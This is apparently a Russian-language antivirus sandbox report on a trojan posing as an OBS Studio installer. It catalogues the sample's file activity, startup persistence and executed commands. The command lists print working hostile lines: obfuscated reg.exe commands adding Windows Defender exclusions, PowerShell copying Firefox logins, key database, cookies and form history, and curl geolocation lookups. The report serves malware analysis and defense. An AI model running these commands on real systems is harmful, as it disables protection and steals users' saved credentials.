Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\obs studio.lnk
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса с помощью следующих ключей реестра::
- [<HKLM>\sOfTwAre\miCrOSoft\WiNdOwS defender\eXCLUSIONS\eXtensiOns] 'sCr' = '00000000'
- [<HKLM>\SoFTWare\mIcrOsOFt\wIndoWS deFeNder\exclusioNS\eXTensioNs] 'cMd' = '00000000'
- [<HKLM>\sOFTwAre\MiCrOsoFT\wiNdOWs defeNder\eXclUSIOnS\eXTeNSIOns] 'exe' = '00000000'
- [<HKLM>\soFtWAre\mICrOsoft\WIndoWS defender\eXClUSiOns\PathS] '<DRIVERS>\etC\hOsts' = '00000000'
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /f /im "obs64.scr"
Внедряет код в
следующие пользовательские процессы:
- obs64.scr
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\is-s1tu1.tmp\<Имя файла>.tmp
- %WINDIR%\temp\aut50bf.tmp
- %WINDIR%\temp\1v8c2w4h.tmp
- %WINDIR%\temp\aut50ae.tmp
- %WINDIR%\temp\aut4683.tmp
- %WINDIR%\temp\aut4653.tmp
- %WINDIR%\temp\1z3g6k8o.tmp
- %WINDIR%\temp\aut4643.tmp
- %WINDIR%\temp\aut4165.tmp
- %WINDIR%\temp\aut50cf.tmp
- %WINDIR%\temp\aut40f6.tmp
- %WINDIR%\temp\aut40d6.tmp
- %TEMP%\aut3d40.tmp
- %TEMP%\aut3ca3.tmp
- %TEMP%\4heg5v4n.tmp
- %TEMP%\aut3c83.tmp
- %WINDIR%\temp\aut3821.tmp
- %WINDIR%\temp\aut3811.tmp
- %WINDIR%\temp\2a9q7y2i.tmp
- %WINDIR%\temp\2g5e5v2x.tmp
- %WINDIR%\temp\4xim2s8q.tmp
- %TEMP%\dzb2h6ft3oqx5s930140.tmp
- %TEMP%\aut5551.tmp
- %TEMP%\zi3z86b883aa4mt7930140.tmp
- %TEMP%\ert3kmvoba8hfio2kzjjz3sq2mj45.sess
- %TEMP%\2v96e12x8np0ezea0x5o35x.tmp
- %WINDIR%\temp\aut66ee.tmp
- %WINDIR%\temp\aut66ce.tmp
- %WINDIR%\temp\1b5f7c6q.tmp
- %WINDIR%\temp\aut6650.tmp
- %WINDIR%\temp\aut60f6.tmp
- %WINDIR%\temp\aut37f1.tmp
- %WINDIR%\temp\aut60d5.tmp
- %WINDIR%\temp\aut60c5.tmp
- %WINDIR%\temp\aut5b0c.tmp
- %WINDIR%\temp\aut5aec.tmp
- %WINDIR%\temp\1f0k0q4m.tmp
- %WINDIR%\temp\aut5adc.tmp
- %APPDATA%\obs-studio\bin\64bit\.vbs
- %APPDATA%\obs-studio\bin\64bit\.cmd
- %TEMP%\aut5571.tmp
- %TEMP%\aut5540.tmp
- %TEMP%\3m0v6i8a.tmp
- %TEMP%\aut3016.tmp
- %APPDATA%\obs-studio\bin\64bit\is-4s5u6.tmp
- C:\tmp\is-oo073.tmp
- %APPDATA%\obs-studio\bin\64bit\is-09ghs.tmp
- %APPDATA%\obs-studio\bin\64bit\is-7phl9.tmp
- %APPDATA%\obs-studio\bin\64bit\is-0ad9d.tmp
- %APPDATA%\obs-studio\bin\64bit\is-lu8jt.tmp
- %APPDATA%\obs-studio\bin\64bit\is-i0jd1.tmp
- %APPDATA%\obs-studio\bin\64bit\is-2a87a.tmp
- %APPDATA%\obs-studio\bin\64bit\is-ej841.tmp
- %APPDATA%\obs-studio\bin\64bit\iconengines\is-880gd.tmp
- %APPDATA%\obs-studio\bin\64bit\is-9pq47.tmp
- %APPDATA%\obs-studio\bin\64bit\is-rkqpg.tmp
- %APPDATA%\obs-studio\bin\64bit\is-v1crf.tmp
- %APPDATA%\obs-studio\bin\64bit\is-cbiaa.tmp
- %TEMP%\is-q4oin.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-q4oin.tmp\_isetup\_setup64.tmp
- %TEMP%\is-cfspi.tmp\<Имя файла>.tmp
- %TEMP%\is-n0dfk.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-n0dfk.tmp\_isetup\_setup64.tmp
- %APPDATA%\obs-studio\bin\64bit\is-s5mot.tmp
- %TEMP%\is-q4oin.tmp\temp\.cmd
- %TEMP%\2l5n1b6k.tmp
- %APPDATA%\obs-studio\bin\64bit\platforms\is-20ffi.tmp
- %TEMP%\aut2ff5.tmp
- %WINDIR%\temp\aut2f99.tmp
- %WINDIR%\temp\aut2f89.tmp
- %WINDIR%\temp\2l5n6b8k.tmp
- %WINDIR%\temp\aut2f78.tmp
- %TEMP%\aut22be.tmp
- %TEMP%\aut2240.tmp
- %TEMP%\2e6v0r4m.tmp
- %TEMP%\aut3006.tmp
- %TEMP%\aut2117.tmp
- C:\tmp\.vbs
- C:\tmp\.cmd
- %APPDATA%\obs-studio\bin\64bit\is-mav1h.tmp
- %APPDATA%\obs-studio\bin\64bit\is-1gmq2.tmp
- %APPDATA%\obs-studio\bin\64bit\is-q7v31.tmp
- %APPDATA%\obs-studio\bin\64bit\is-91msl.tmp
- %TEMP%\is-q4oin.tmp\temp\is-oaqkl.tmp
- C:\tmp\is-hl2hm.tmp
- %APPDATA%\obs-studio\bin\64bit\imageformats\is-553r5.tmp
- %TEMP%\1je48kdm3vxxr6940171.tmp-shm
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\obs-studio\bin\64bit\obs64.scr
- C:\tmp\mainicon.ico
- %APPDATA%\obs-studio\bin\64bit\ar.xml
- C:\tmp\obs32.exe
- %TEMP%\is-q4oin.tmp\temp\r.exe
- %APPDATA%\obs-studio\bin\64bit\.vbs
- %APPDATA%\obs-studio\bin\64bit\.cmd
Удаляет следующие файлы
- %TEMP%\is-n0dfk.tmp\_isetup\_setup64.tmp
- %WINDIR%\temp\aut50cf.tmp
- %WINDIR%\temp\1v8c2w4h.tmp
- %TEMP%\aut5540.tmp
- %TEMP%\aut5551.tmp
- %TEMP%\aut5571.tmp
- %TEMP%\3m0v6i8a.tmp
- %TEMP%\is-q4oin.tmp\temp\.cmd
- %WINDIR%\temp\aut5adc.tmp
- %WINDIR%\temp\aut5aec.tmp
- %WINDIR%\temp\aut5b0c.tmp
- %WINDIR%\temp\1f0k0q4m.tmp
- %WINDIR%\temp\aut60c5.tmp
- %WINDIR%\temp\aut60d5.tmp
- %WINDIR%\temp\4xim2s8q.tmp
- %TEMP%\dzb2h6ft3oqx5s930140.tmp
- %WINDIR%\temp\aut6650.tmp
- %WINDIR%\temp\aut66ce.tmp
- %WINDIR%\temp\aut66ee.tmp
- %WINDIR%\temp\1b5f7c6q.tmp
- C:\tmp\mainicon.ico
- %APPDATA%\obs-studio\bin\64bit\ar.xml
- C:\tmp\obs32.exe
- %TEMP%\is-q4oin.tmp\temp\r.exe
- %TEMP%\is-q4oin.tmp\_isetup\_setup64.tmp
- %TEMP%\is-q4oin.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-cfspi.tmp\<Имя файла>.tmp
- %TEMP%\2v96e12x8np0ezea0x5o35x.tmp
- %TEMP%\zi3z86b883aa4mt7930140.tmp
- %WINDIR%\temp\aut50bf.tmp
- %WINDIR%\temp\aut60f6.tmp
- %WINDIR%\temp\aut50ae.tmp
- %TEMP%\2l5n1b6k.tmp
- %TEMP%\is-n0dfk.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-s1tu1.tmp\<Имя файла>.tmp
- %TEMP%\aut2117.tmp
- %TEMP%\aut2240.tmp
- %TEMP%\aut22be.tmp
- %TEMP%\2e6v0r4m.tmp
- %WINDIR%\temp\aut2f78.tmp
- %WINDIR%\temp\aut2f89.tmp
- %WINDIR%\temp\aut2f99.tmp
- %WINDIR%\temp\2l5n6b8k.tmp
- %TEMP%\aut2ff5.tmp
- %TEMP%\aut3006.tmp
- %TEMP%\aut3016.tmp
- %WINDIR%\temp\aut37f1.tmp
- %WINDIR%\temp\aut4683.tmp
- %WINDIR%\temp\aut3811.tmp
- %WINDIR%\temp\aut3821.tmp
- %WINDIR%\temp\2a9q7y2i.tmp
- %TEMP%\aut3c83.tmp
- %TEMP%\aut3ca3.tmp
- %TEMP%\aut3d40.tmp
- %TEMP%\4heg5v4n.tmp
- %WINDIR%\temp\aut40d6.tmp
- %WINDIR%\temp\aut40f6.tmp
- %WINDIR%\temp\aut4165.tmp
- %WINDIR%\temp\2g5e5v2x.tmp
- %WINDIR%\temp\aut4643.tmp
- %WINDIR%\temp\aut4653.tmp
- %WINDIR%\temp\1z3g6k8o.tmp
- %TEMP%\1je48kdm3vxxr6940171.tmp-shm
Перемещает следующие файлы
- %APPDATA%\obs-studio\bin\64bit\is-cbiaa.tmp в %APPDATA%\obs-studio\bin\64bit\obs-amf-test.pdb
- %APPDATA%\obs-studio\bin\64bit\is-q7v31.tmp в %APPDATA%\obs-studio\bin\64bit\libobs-opengl.dll
- %APPDATA%\obs-studio\bin\64bit\is-91msl.tmp в %APPDATA%\obs-studio\bin\64bit\libobs-d3d11.pdb
- %TEMP%\is-q4oin.tmp\temp\is-oaqkl.tmp в %TEMP%\is-q4oin.tmp\temp\r.exe
- C:\tmp\is-hl2hm.tmp в C:\tmp\obs32.exe
- %APPDATA%\obs-studio\bin\64bit\platforms\is-20ffi.tmp в %APPDATA%\obs-studio\bin\64bit\platforms\qwindows.dll
- %APPDATA%\obs-studio\bin\64bit\is-4s5u6.tmp в %APPDATA%\obs-studio\bin\64bit\ar.xml
- %APPDATA%\obs-studio\bin\64bit\imageformats\is-553r5.tmp в %APPDATA%\obs-studio\bin\64bit\imageformats\qgif.dll
- %APPDATA%\obs-studio\bin\64bit\iconengines\is-880gd.tmp в %APPDATA%\obs-studio\bin\64bit\iconengines\qsvgicon.dll
- C:\tmp\is-oo073.tmp в C:\tmp\mainicon.ico
- %APPDATA%\obs-studio\bin\64bit\is-1gmq2.tmp в %APPDATA%\obs-studio\bin\64bit\libobs-opengl.pdb
- %APPDATA%\obs-studio\bin\64bit\is-09ghs.tmp в %APPDATA%\obs-studio\bin\64bit\libmbedcrypto.dll
- %APPDATA%\obs-studio\bin\64bit\is-0ad9d.tmp в %APPDATA%\obs-studio\bin\64bit\obs64.scr
- %APPDATA%\obs-studio\bin\64bit\is-lu8jt.tmp в %APPDATA%\obs-studio\bin\64bit\libsrt.dll
- %APPDATA%\obs-studio\bin\64bit\is-i0jd1.tmp в %APPDATA%\obs-studio\bin\64bit\libobs-winrt.pdb
- %APPDATA%\obs-studio\bin\64bit\is-2a87a.tmp в %APPDATA%\obs-studio\bin\64bit\obs64.pdb
- %APPDATA%\obs-studio\bin\64bit\is-ej841.tmp в %APPDATA%\obs-studio\bin\64bit\obs.pdb
- %APPDATA%\obs-studio\bin\64bit\is-9pq47.tmp в %APPDATA%\obs-studio\bin\64bit\obs-scripting.pdb
- %APPDATA%\obs-studio\bin\64bit\is-s5mot.tmp в %APPDATA%\obs-studio\bin\64bit\obs-frontend-api.pdb
- %APPDATA%\obs-studio\bin\64bit\is-rkqpg.tmp в %APPDATA%\obs-studio\bin\64bit\obs-frontend-api.dll
- %APPDATA%\obs-studio\bin\64bit\is-v1crf.tmp в %APPDATA%\obs-studio\bin\64bit\obs-ffmpeg-mux.pdb
- %APPDATA%\obs-studio\bin\64bit\is-7phl9.tmp в %APPDATA%\obs-studio\bin\64bit\libcurl.dll
- %APPDATA%\obs-studio\bin\64bit\is-mav1h.tmp в %APPDATA%\obs-studio\bin\64bit\w32-pthreads.dll
Подменяет следующие файлы
- %TEMP%\is-q4oin.tmp\temp\.cmd
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\is-s1tu1.tmp\<Имя файла>.tmp' /SL5="$120168,13893832,160256,<Полный путь к файлу>"
- '%TEMP%\is-cfspi.tmp\<Имя файла>.tmp' /SL5="$6023C,13893832,160256,<Полный путь к файлу>" /verysilent /sp-
- 'C:\tmp\obs32.exe'
- '%APPDATA%\obs-studio\bin\64bit\obs64.scr'
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /sW:0 reG.exe Add "hKlm\sOfTwAre\miCrOSoft\WiNdOwS defender\eXCLUSIONS\eXtensiOns" /V sCr /T reg_dWOrd /d 0 /f
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /TI/ /sw:0 reg.eXe Add "hKlm\sOFTwAre\MiCrOsoFT\wiNdOWs defeNder\eXclUSIOnS\eXTeNSIOns" /V exe /t reg_dwOrd /d 0 /F
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /sW:0 reG.eXe add "hKLm\SoFTWare\mIcrOsOFt\wIndoWS deFeNder\exclusioNS\eXTensioNs" /V cMd /t reg_dwOrd /d 0 /f
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /TI/ /sW:0 reG.exe Add "hKlm\sOfTwAre\miCrOSoft\WiNdOwS defender\eXCLUSIONS\eXtensiOns" /V sCr /T reg_dWOrd /d 0 /f
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /TI/ /sW:0 reG.eXe add "hKLm\SoFTWare\mIcrOsOFt\wIndoWS deFeNder\exclusioNS\eXTensioNs" /V cMd /t reg_dwOrd /d 0 /f
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /TI/ /Sw:0 reg.eXe add "hKlM\soFtWAre\mICrOsoft\WIndoWS defender\eXClUSiOns\PathS" /v "<DRIVERS>\etC\hOsts" /T "reg_dWOrd" /d "0" /F
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /Sw:0 reg.eXe add "hKlM\soFtWAre\mICrOsoft\WIndoWS defender\eXClUSiOns\PathS" /v "<DRIVERS>\etC\hOsts" /T "reg_dWOrd" /d "0" /F
- '%TEMP%\is-q4oin.tmp\temp\r.exe' /sw:0 reg.eXe Add "hKlm\sOFTwAre\MiCrOsoFT\wiNdOWs defeNder\eXclUSIOnS\eXTeNSIOns" /V exe /t reg_dwOrd /d 0 /F
- '<SYSTEM32>\reg.exe' add "hKLm\SoFTWare\mIcrOsOFt\wIndoWS deFeNder\exclusioNS\eXTensioNs" /V cMd /t reg_dwOrd /d 0 /f' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\l17fnrc88rn0ib930140.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\...' (со скрытым окном)
- '%APPDATA%\obs-studio\bin\64bit\obs64.scr' ' (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "hKlM\soFtWAre\mICrOsoft\WIndoWS defender\eXClUSiOns\PathS" /v "<DRIVERS>\etC\hOsts" /T "reg_dWOrd" /d "0" /F' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "hKlm\sOFTwAre\MiCrOsoFT\wiNdOWs defeNder\eXclUSIOnS\eXTeNSIOns" /V exe /t reg_dwOrd /d 0 /F' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-Q4OIN.tmp\temp\.cmd""' (со скрытым окном)
- 'C:\tmp\obs32.exe' ' (со скрытым окном)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "obs64.scr"' (со скрытым окном)
- '<Полный путь к файлу>' /verysilent /sp-' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "hKlm\sOfTwAre\miCrOSoft\WiNdOwS defender\eXCLUSIONS\eXtensiOns" /V sCr /T reg_dWOrd /d 0 /f' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\formhistory.sqlite\" \"%TEMP%\3uizfn0p51gi940171.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\cookies.sqli...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\1mhpgvxxgnrr8r947472.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-Q4OIN.tmp\temp\.cmd""
- '<SYSTEM32>\reg.exe' Add "hKlm\sOfTwAre\miCrOSoft\WiNdOwS defender\eXCLUSIONS\eXtensiOns" /V sCr /T reg_dWOrd /d 0 /f
- '<SYSTEM32>\reg.exe' add "hKLm\SoFTWare\mIcrOsOFt\wIndoWS deFeNder\exclusioNS\eXTensioNs" /V cMd /t reg_dwOrd /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c cUrL -s ipINFO.io/Ip
- '%WINDIR%\syswow64\cmd.exe' /c cuRL -s IPINfo.Io/city
- '<SYSTEM32>\reg.exe' Add "hKlm\sOFTwAre\MiCrOsoFT\wiNdOWs defeNder\eXclUSIOnS\eXTeNSIOns" /V exe /t reg_dwOrd /d 0 /F
- '%WINDIR%\syswow64\cmd.exe' /c cUrl -s IPiNfo.io/country
- '%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\obs-studio\bin\64bit\.VBs
- '<SYSTEM32>\reg.exe' add "hKlM\soFtWAre\mICrOsoft\WIndoWS defender\eXClUSiOns\PathS" /v "<DRIVERS>\etC\hOsts" /T "reg_dWOrd" /d "0" /F
- '%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\obs-studio\bin\64bit\.cMD
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\l17fnrc88rn0ib930140.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\formhistory.sqlite\" \"%TEMP%\3uizfn0p51gi940171.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\\Profiles/gn7ryp3k.default\cookies.sqli...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json\" \"%TEMP%\1mhpgvxxgnrr8r947472.tmp\" -Force;cpi \"%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db\" \"%TEMP%\...
